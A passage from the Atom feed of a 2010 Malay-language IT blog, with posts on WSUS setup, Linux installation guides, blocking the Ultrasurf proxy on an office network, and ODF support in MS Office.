/&gt;Kalau 3COM Tipping Point IPS tu memang guna linux kernel pun backend dia sebab aku ada guna dan masa training guna command sebiji macam linux / unix (asalnya). Begitu juga dengan watchguard firewall, belakang dia pakai linux kernel juga. So tak heran la sebenarnya tak Linux hilang di dunia..ia sentiasa ada...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5072695300467241830?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5072695300467241830/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5072695300467241830&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5072695300467241830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5072695300467241830'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/bandwidth-shaping-with-linux.html' title='Bandwidth Shaping with linux'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/S9b-qSvwE6I/AAAAAAAAAms/xViuCdD5OyE/s72-c/sol_qos_lrg.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7488260431616199879</id><published>2010-04-19T21:44:00.001+08:00</published><updated>2010-04-27T22:44:07.009+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Time to Setup WSUS</title><content type='html'>Terima kasih kepada owner blog ni : &lt;a href="http://blogs.microsoft.co.il/blogs/yanivf/archive/2007/09/23/install-wsus-3-0-step-by-step.aspx"&gt;Microsoft &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Blog aku kali ni aku just translate tutorial yang blogger ni buat untuk setup WSUS. Memang setakat ni yang pernah cari pasal ni, blog ni yang paling lengkap dan begitu teliti sekali.&lt;br /&gt;&lt;br /&gt;Sebelum tu aku terang skit apa sebenarnya WSUS. Windows Software Update Services (WSUS), adalah Alat / perisian Microsoft yang berfungsi sebagai pengurus Patch Windows. WSUS ni menggantikan Software Update Services (SUS) yang juga mempunyai fungsi yang sama.&lt;br /&gt;&lt;br /&gt;Cara biasa update patch Windows + Microsoft :&lt;br /&gt;KAEDAH 1 :&lt;br /&gt;Kita biasanya dah tau pasal Automatic Updates pada setiap windows. Biasanya kalau kat pc kita memang setting default jam 3 pagi akan auto update. Kalau kita rescheduled semula ikut waktu kita available pun ok. Tu kalau guna automatic update, windows akan auto download patch baru windows dan perisian microsoft untuk di update ke pc kita. PC kita akan download patch tu menggunakan rangkaian internet.&lt;br /&gt;KAEDAH 2 :&lt;br /&gt;Cara lain untuk update patch kat pc kita ialah dengan pergi ke internet site www.windowsupdate.com dan terus ikut arahan next dan next untuk download patch dan update patch windows dan perisian microsoft...&lt;br /&gt;KAEDAH 3 :&lt;br /&gt;Setup satu server WSUS, server tu akan download semua patch windows dan microsoft terkini. Kemudian semua PC dalam rangkaian akan setkan automatic update dari server WSUS tadi. Jadi kita dapat kurangkan beban penggunaan rangkaian ke Internet dan dapat pastikan kestabilan PC sentiasa up to date patch windows + microsoft.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/S9b4Au0cRHI/AAAAAAAAAmk/0MXvdIIsbL8/s1600/wsus.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/S9b4Au0cRHI/AAAAAAAAAmk/0MXvdIIsbL8/s320/wsus.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Cara2 nak install tu masing-masing leh tengok step by step penerangan seterusnya...aku compile masukkan dalam file PDF notanya. Mudah korang nak baca nanti...&lt;br /&gt;&lt;br /&gt;Silalah dowload file tersebut di sini. &lt;a href="http://docs.google.com/fileview?id=0B2IrE1xXcVG-NWYyZmRiMDEtZGZiOC00OWI2LTg5ZWMtODAzNjllZWYyZGIy&amp;amp;hl=en"&gt;NOTA WSUS&lt;/a&gt;. Mudah dengan google docs..yeah! &lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7488260431616199879?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7488260431616199879/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7488260431616199879&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7488260431616199879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7488260431616199879'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/time-to-setup-wsus.html' title='Time to Setup WSUS'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pk16G7RhVRE/S9b4Au0cRHI/AAAAAAAAAmk/0MXvdIIsbL8/s72-c/wsus.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6544250695251629514</id><published>2010-04-12T18:47:00.000+08:00</published><updated>2010-04-12T18:47:02.872+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='RedHat'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenSUSE'/><title type='text'>Step By Step Installation of Linux OS : OpenSUSE / CentOS / RedHat Enterprise Linux</title><content type='html'>Artikel ni aku respon dari permintaan &lt;a href="http://www.tokyee.com/"&gt;tok&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8L5qVG4jOI/AAAAAAAAAmE/RyrkNP_Y2ME/s1600/opensuse.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8L5qVG4jOI/AAAAAAAAAmE/RyrkNP_Y2ME/s320/opensuse.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;OpenSuSE&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ini adalah step by step penerangan dengan bahasa ringkas dan bersama screenshot2 page installer. Amat sesuai bagi beginner.&lt;br /&gt;&lt;br /&gt;http://en.opensuse.org/Installation#Step-by-step_guides&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8L5sM5R_5I/AAAAAAAAAmM/YLiBCAQXOSQ/s1600/centos-splash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8L5sM5R_5I/AAAAAAAAAmM/YLiBCAQXOSQ/s320/centos-splash.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;CentOS : 5.1 &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ini adalah step by step penerangan cara untuk install CentOS 5.1, namun stepnya tak berubah bagi versi 5.4 terbaru. Masih boleh digunapakai.&lt;br /&gt;&lt;br /&gt;http://www.howtoforge.com/installation-guide-centos5.1-desktop&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S8L5ueliapI/AAAAAAAAAmU/E4b6n9dXSus/s1600/red-hat-enterprise-linux-5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S8L5ueliapI/AAAAAAAAAmU/E4b6n9dXSus/s320/red-hat-enterprise-linux-5.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;RedHat&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ini adalah step by step untuk install RedHat Enterprise Linux 5. Link pertama adalah step by step penerangan menggunakan wording dan arahan tanpa gambar. Link kedua adalah step dan guidelines dari RedHat dan ada perincian didalamnya. Sesuai bagi advance users.&lt;br /&gt;&lt;br /&gt;http://www.ehow.com/how_5150570_install-redhat-enterprise-linux.html&lt;br /&gt;&lt;br /&gt;http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Installation_Guide-en-US/index.html&lt;br /&gt;&lt;br /&gt;Selamat mencuba..&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6544250695251629514?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6544250695251629514/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6544250695251629514&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6544250695251629514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6544250695251629514'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/step-by-step-installation-of-linux-os.html' title='Step By Step Installation of Linux OS : OpenSUSE / CentOS / RedHat Enterprise Linux'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/S8L5qVG4jOI/AAAAAAAAAmE/RyrkNP_Y2ME/s72-c/opensuse.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6235064083512674392</id><published>2010-04-12T17:47:00.003+08:00</published><updated>2010-04-18T23:26:44.797+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='Domain'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Symantec'/><category scheme='http://www.blogger.com/atom/ns#' term='MySurfGuard'/><title type='text'>How to Block Ultrasurf</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8Ho7MTuaII/AAAAAAAAAlk/4KfG7qLrFqc/s1600/ultrasurf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8Ho7MTuaII/AAAAAAAAAlk/4KfG7qLrFqc/s320/ultrasurf.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ni aku masukkan artikel as requested and mention by most of JT. Aku rasa kalau carian internet ni memang mat-mat saleh sure akan terpergi ke blog aku ni sebab topik ni memang hot kat internet. Sure bengkek je tgk org melayu punye blog...ekekeke...nk tau kena belajo melayu la...wakakaka..&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ok serius to the point. So aku dah google pasal mende ni lama dah sejak diketahui ada digunakan ultrafurf ni dalam tahun 2009. Software ni aku rasa lama dah digunakan kat negara lain. Ianya biasa digunakan oleh student dan staff ofis yang rasa terkongkong oleh polisi network di dalam rangkaian mereka gunakan. So far ISP kat malaysia ni belum filter tu semua. Jadi orang Malaysia as user current broadband tak perlu risau pasal web filtering. Tapi di China web filtering memang ketat dan dipantau oleh kerajaan sana. Sampaikan youtube pun tak lepas tengok di sana. Sekarang ni tak tahulah kot dh buka semula. Ultrasurf ni berasal dari sana atas rasa keperluan kebebasan dalam berINTERNET.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;So far yang aku surf setakat ni ada la solution dari IPS dan Firewall Provider yang kata boleh blok Ultrasurf ni gunakan hash yang leh kenalpasti dari ultrasurf...tapi aku tk tau keberkesannya..&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hex ID ultrasurf : &lt;span class="Input"&gt;0x1403000000101&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;FW yang boleh blok : SonicWall, Watchguard, Cyberfoam, SmoothWall&lt;/span&gt;&lt;br /&gt;&lt;span class="Input"&gt;&lt;a href="http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;ct=res&amp;amp;cd=38&amp;amp;ved=0CCoQFjAHOB4&amp;amp;url=http%3A%2F%2Fwww.watchguard.com%2Fhelp%2Fdocs%2Fwsm%2F11%2Fen-US%2FContent%2Fen-US%2Fproxies%2Fexamples%2Fblock_ultrasurf.html&amp;amp;rct=j&amp;amp;q=how+to+block+ultrasurf&amp;amp;ei=GSPLS6TlIYq1rAfe0MDiBQ&amp;amp;usg=AFQjCNFQBnpI-MnUribbveEF9RuSC1CHMQ"&gt;Solution with WatchGuard&lt;/a&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Bagi aku, kemungkinan berjaya blok melalui Firewall ni mungkin ada. Tapi aku akan terangkan cara nak blok ultrasurf ni melalui penggunaan software dan kaedah tanpa kos...ehehhee&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Info rangkaian :&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Firewall : ada&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Proxy : ada&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Antivirus : SEP11 &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;1) Configure di firewall anda allow akses https from subnet tertentu sahaja. Jika network guna proxy, maka allow dari ip proxy sahaja untuk akses thru https port 443&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;2) Ok, kenapa agaknya aku suh trim trafik ke port 443 ni. Sebabnya UltraSurf ni sebenarnya pergi ke internet menggunakan free proxy di internet yang menggunakan https. Ultrasurf create port 9666 localhost untuk buat tunnel ke port 443 tu tadi. So takde maknanya kalau kita duk block port 9666 dalam kebanyakan forum dok bagitau sebab ianya hanya digunakan di localhost sahaja utk port tu.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;3) Ok tadi bila kita dah trim port https kat FW tu tadi maka kita dah sekurangnya allow akses dari ip proxy sahaja ke internet. Sekiranya PC yang guna UltraSurf ni buat default config sahaja (Proxy setting - Directly connect to Ultrasurf), so memang tak lepas dah nak connect ke https proxy tu...Tapi bagi pengguna bijak, ia akan tukar kepada auto detect proxy atau manual proxy settings. Sebab by default memang dah guna proxy di rangkaian tu sebab user takleh pergi ke internet direct. So bila user bila auto detect, ia akan cari defined proxy setting kat memana browser dalam PC tu. Jika user tau nama proxy, maka ia terus tulis je nama proxy tu dengan portnya.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/S8LlU4R81KI/AAAAAAAAAl0/O8S-gOthHhE/s1600/us2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="140" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/S8LlU4R81KI/AAAAAAAAAl0/O8S-gOthHhE/s200/us2.jpg" width="200" /&gt;&lt;/a&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/S8LlTNfoRNI/AAAAAAAAAls/LT1l_uxBUdc/s1600/us1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/S8LlTNfoRNI/AAAAAAAAAls/LT1l_uxBUdc/s200/us1.jpg" width="189" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;4) So skang ni user masih boleh guna Ultrasurf tu kan..jangan risau, ada lagi satu cara lain lak. So memang agak susah nak blok thru Network layer ni. Cara lain boleh digunakan adalah menggunakan function dalam SEP11 yang boleh block software menggunakan hash file setiap file yang ultrasurf tersebut. Caranya adalah create hash file ultrasurf bagi version terkini dan terbelakang sikit. Masukkan dalam polisi SEP11 untuk block sebarang cubaan running software yang match dengan hash file tersebut. Walaupun nama file tu ditukar pun masih boleh detect juga menggunakan hash file tersebut. Cuma kaedah ini memerlukan pihak admin SEP11 untuk sentiasa aware bagi setiap versi baru dikeluarkan bagi perisian ultrasurf tersebut.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;5) Solution ke-4 tu baik sekiranya dalam rangkaian tu memang semua pakai SEP11. Tapi kalau dalam rangkaian belum pasti semua PC bersambung tu ada SEP11 maka ianya masih belum fully controlled. Tapi bagi situasi aku tu cuma cara ni sahaja yang sesuai untuk implement dan memudahkan kawalan keseluruhan rangkaian tersebut secara berpusat. Boleh tengok artikel ni memang detail penerangan : &lt;a href="http://www.symantec.com/connect/articles/most-detailed-way-block-ultrasurf"&gt;How to block Ultrasurf with SEP&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8LoXkjrwFI/AAAAAAAAAl8/wOdPquD50tE/s1600/symantec-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S8LoXkjrwFI/AAAAAAAAAl8/wOdPquD50tE/s320/symantec-logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;6) Bagi yang rasa nak guna SEP11 ni tak semua rangkaian guna anvitirus tersebut dan tak semua AV ada fungsi tersebut. Jadi kawalan kepada PC user tersebut sahaja yang paling sesuai dilaksanakan dan paling terbaik bagi semua jenis masalah. Sebab kebanyakan masalah berpunca dari PC pengguna tu sendiri. Prevent is better dan cure...So software anti-ultrasurf dicipta untuk counter attack bagi halang penggunaan ultrasurf di PC tersebut. Ianya boleh dimuat turun disini : &lt;a href="http://download.zemana.com/Products/Anti-UltraSurf/Anti-UltraSurf_1.0.1.32.msi"&gt;Anti-UltraSurf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Terima kasih pada Zemana yang cipta software ni. Ianya masih dalam beta mode tapi boleh digunakan dan telah diuji. Buat masa ini ianya support untuk versi Windows :&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Windows Server/Workstation 2000&lt;br /&gt;Windows XP/2003/Vista&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Blog software tersebut : &lt;a href="http://blog.zemana.com/2009/01/zemana-anti-ultrasurf.html"&gt;Blog Anti-Ultrasurf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Anti-UltraSurf menggunakan kaedah heuristic analisis untuk kenalpasti dan halang trafik UltraSurf’s  tberbanding kaedah hash signatures mcm SEP11 tadi. Anti-UltraSurf boleh blok trafik dari pelbagai versi UltraSurf dengan jaminan tiada kesilapan.&lt;span class="Input"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Selain itu, installer software tersebut adalah format .msi yang boleh digunakan bagi rangkaian yang menggunakan domain controller. Yang mana admin leh push install aje software tu kepada semua PC dalam domainnya. (Impian aku nak setup mende ni la kat ofis aku...tapi kekangan ilmu)&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;7) Ok, kita dah install software tu tadi..kat start menu ada kuor nama software tu..so kalau user PC ada admin mode maka dia boleh uninstall semula la software tu..penat je kita install...so cara terbaik nak kawal semua ni bagi yang tak gunakan domain controller adalah kita perlu setup 2 user berbeza di PC tersebut. user pertama : administrator adalah user dengan mode 'administrator'. User kedua adalah user pengguna PC dengan mode 'user' yang mana beliau terhad :&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;a) tidak boleh menukar ip PC&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;b) tidak boleh install software&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;c) tidak boleh uninstall software&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;So jika dah setup begitu, masalah ni dah selesai...software OCS yang install sebelum ni pun takdela user pi uninstall semula bila kita dah penat install...ehehehe...&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Dengan step tadi maka selesailah solution bagi cara nak block ultrasurf tu. Jika ada cadangan lain leh komen kat artikel aku ni dan bagi cadangan. amat dialukan...&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;Semoga berjaya!&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Input"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;~ Be a Creator Not a User ~&lt;/div&gt;&lt;div style="text-align: justify;"&gt;http://muzzotechspot.blogspot.com&lt;/div&gt;&lt;div style="text-align: justify;"&gt;http://muzzoshah.blogspot.com&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6235064083512674392?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6235064083512674392/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6235064083512674392&amp;isPopup=true' title='3 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6235064083512674392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6235064083512674392'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/04/how-to-block-ultrasurf.html' title='How to Block Ultrasurf'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/S8Ho7MTuaII/AAAAAAAAAlk/4KfG7qLrFqc/s72-c/ultrasurf.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8516517521036256725</id><published>2010-03-18T00:57:00.000+08:00</published><updated>2010-03-18T00:57:53.632+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft Office'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenOffice'/><title type='text'>Microsoft is now ODF enable in their MS Office 2007 SP2 and above version</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/S6EIe0nnIYI/AAAAAAAAAlU/0tceryb_Sgg/s1600-h/microsoft-office-2007-tech-refresh4.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="115" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/S6EIe0nnIYI/AAAAAAAAAlU/0tceryb_Sgg/s200/microsoft-office-2007-tech-refresh4.gif" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Aku bukanla tak suke langsung kt MS Office ni. Aku membesar dan belajar makna penggunaan office automation dari MS Office. Tapi bile aku dah keje ni baru aku tau mahalnya lesen MS Office ni dan MS cukup mengongkong perisiannya sampaikan bila mula beli sesatu perisian, kita akan mula disogok dengan perisian lain tapi janji ada ongkosnya..&lt;br /&gt;Tapi tahun lepas ada satu team open source ni dah start fight untuk jadikan open document format tu sebagai standard global untuk sebarang format office automation. Macam sekarang ni kita biasa dengar kalau file extension .doc je mesti ms words...jadi lepas ni akan ada standard yang perlu dipakai oleh sebarang office automation software bagi memudahkan penggunaan sebarang tools tanpa had pada sesuatu tools sahaja kalau nak edit. Macam bebaru ni kes MS Office create version ms office 2007 yang tetiba je ada lak format docx, xlsx 